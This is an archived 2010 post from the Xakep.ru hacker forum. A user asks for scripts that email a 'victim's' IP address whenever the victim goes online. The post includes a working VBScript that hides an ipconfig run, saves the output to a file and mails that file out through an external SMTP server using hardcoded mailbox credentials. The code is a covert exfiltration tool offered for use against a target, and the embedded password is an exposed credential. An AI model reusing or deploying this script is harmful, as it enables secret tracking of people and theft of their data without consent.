Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

Ip на мыло

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [В Сети] >> Ip на мыло

Имя

Сообщение

<< Старые топики Новые топики >>

Ip на мыло - 2010-07-13 18:19:07.416666

neo93

Сообщений: 26
Оценки: 0
Присоединился: 2009-11-08 15:49:41.976666

У когонить ё скрипт, или кто знает другие скрипты для того чтобы ip приходил на мыло , Когда жертва подключиться к интернету?
кроме этого :-


 Set WshShell = CreateObject("WScript.Shell") 
 WshShell.Run "cmd.exe /c ipconfig &gt; C:\ip.txt", 0, false 
 
 WScript.Sleep (5000)
 
 Set S = CreateObject("Wscript.Shell")
 set FSO=createobject("scripting.filesystemobject")
 Call SendPost("smtp.inbox.ru","ТВОЁ_МЫЛО@mail.ru","xs1vljm@inbox.ru","ИП пришли","Олололололо!111")
 Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s  trBody)
 Set iMsg=CreateObject("CDO.Message")
 Set iConf=CreateObject("CDO.Configuration")
 Set Flds=iConf.Fields
 Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
 Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="xs1vljm"
 Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="9e2chklhp"
 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.inbox.ru"
 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
 Flds.Update
 iMsg.Configuration=iConf
 iMsg.To=strTo
 iMsg.From=strFrom
 iMsg.Subject=strSubject
 iMsg.TextBody=strBody
 iMsg.AddAttachment "C:\ip.txt"
 iMsg.Send
 End Function
 Set iMsg=Nothing
 Set iConf=Nothing
 Set Flds=Nothing

Post #: 1

Страниц: [1]

Все форумы >> [В Сети] >> Ip на мыло

Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.